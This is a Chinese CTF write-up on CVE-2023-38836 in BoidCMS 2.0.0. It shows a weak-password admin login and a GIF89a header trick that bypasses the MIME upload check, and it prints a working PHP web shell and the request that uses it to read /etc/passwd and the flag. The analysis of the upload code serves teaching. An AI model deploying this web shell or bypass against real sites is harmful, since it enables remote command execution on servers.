CVE-2023-38836(文件上传+命令执行)

简介

BoidCMS v.2.0.0 存在文件上传漏洞,远程攻击者可通过添加 GIF 头部绕过 MIME 类型检查,执行任意代码。

过程

打开靶场

对网站进行目录扫描

发现后台,登录弱口令账号密码

admin/password

发现文件上传位置

根据简介提示,添加 GIF 头部绕过 MIME 类型检查

上传文件代码

复制代码
GIF89a
<?php system($_GET[1]);phpinfo();?>

运行

复制代码
http://eci-2zec8jldo3apelqvizrr.cloudeci1.ichunqiu.com/media/minglingzhixing.php?1=../../../../../etc/passwd

上传成功,并且成功执行

直接cat /flag

结果

得到flag{4f7a065d-06e0-4d24-a8b0-bece0f097ccb}

解析

这是上传一个木马之后,找到后端文件上传函数代码

复制代码
/**
   * Upload media file
   * @param ?string $msg
   * @param ?string $basename
   * @return bool
   */
  public function upload_media( ?string &$msg = null, ?string &$basename = null ): bool {
    if ( ! isset( $_FILES[ 'file' ][ 'error' ] ) || is_array( $_FILES[ 'file' ][ 'error' ] ) ) {
      $msg = 'Invalid parameters';
      return false;
    }
    switch ( $_FILES[ 'file' ][ 'error' ] ) {
      case UPLOAD_ERR_OK:
        break;
      case UPLOAD_ERR_NO_FILE:
        $msg = 'No file has been sent';
        return false;
        break;
      case UPLOAD_ERR_INI_SIZE:
      case UPLOAD_ERR_FORM_SIZE:
        $msg = 'File too large';
        return false;
        break;
      default:
        $msg = 'An unexpected error occurred';
        return false;
        break;
    }
    $tmp_name = $_FILES[ 'file' ][ 'tmp_name' ];
    $finfo = new finfo( FILEINFO_MIME_TYPE );
    $type = $finfo->file( $tmp_name );
    $types = $this->_l( 'media_mime',
      array(
        'application/json',
        'application/octet-stream',
        'application/ogg',
        'application/pdf',
        'application/photoshop',
        'application/rar',
        'application/svg+xml',
        'application/vnd.ms-excel',
        'application/vnd.ms-powerpoint',
        'application/vnd.ms-word',
        'application/vnd.oasis.opendocument.spreadsheet',
        'application/vnd.oasis.opendocument.text',
        'application/vnd.openxmlformats-officedocument.presentationml.presentation',
        'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet',
        'application/vnd.openxmlformats-officedocument.wordprocessingml.document',
        'application/zip',
        'audio/mp4',
        'audio/mpeg',
        'image/gif',
        'image/jpeg',
        'image/png',
        'image/svg+xml',
        'image/vnd.microsoft.icon',
        'image/webp',
        'image/x-icon',
        'text/css',
        'text/html',
        'text/plain',
        'text/x-asm',
        'video/avi',
        'video/mp4',
        'video/mpeg',
        'video/ogg',
        'video/quicktime',
        'video/webm',
        'video/x-flv',
        'video/x-matroska',
        'video/x-ms-wmv'
      )
    );

在minglingzhixing.php文件里前几个字节加上GIF89a 则这个文件的 MIME 类型 将会是image/gif。由此便可绕过上传限制,实现木马上传。

相关推荐
码农12138号20 小时前
服务端请求伪造-SSRF 学习笔记
笔记·web安全·网络安全·ctf·ssrf·服务端请求伪造
是一个Bug20 小时前
ConcurrentHashMap的安全机制详解
java·jvm·安全
测试人社区-千羽21 小时前
边缘计算场景下的智能测试挑战
人工智能·python·安全·开源·智能合约·边缘计算·分布式账本
今日上上签07071 天前
山东大学软件学院信息安全导论2025往年回忆版
网络安全·信息安全·山东大学·软件学院·导论·往年题·回忆版
网安小白的进阶之路1 天前
B模块 安全通信网络 第二门课 核心网路由技术-1-OSPF之特殊区域
网络·安全
漏洞文库-Web安全1 天前
AWD比赛随笔
开发语言·python·安全·web安全·网络安全·ctf·awd
小白勇闯网安圈1 天前
file_include、easyphp、ics-05
网络安全·php·web
安当加密1 天前
基于 SLA 的操作系统双因素安全登录:USB Key 与 OTP 动态口令实践
单片机·嵌入式硬件·安全
九章-1 天前
自主可控:三峡新能源打造全栈国产化光伏监控系统新标杆
数据库·安全·能源
这儿有一堆花1 天前
Windows 环境下 Nmap 的实战逻辑
windows·网络安全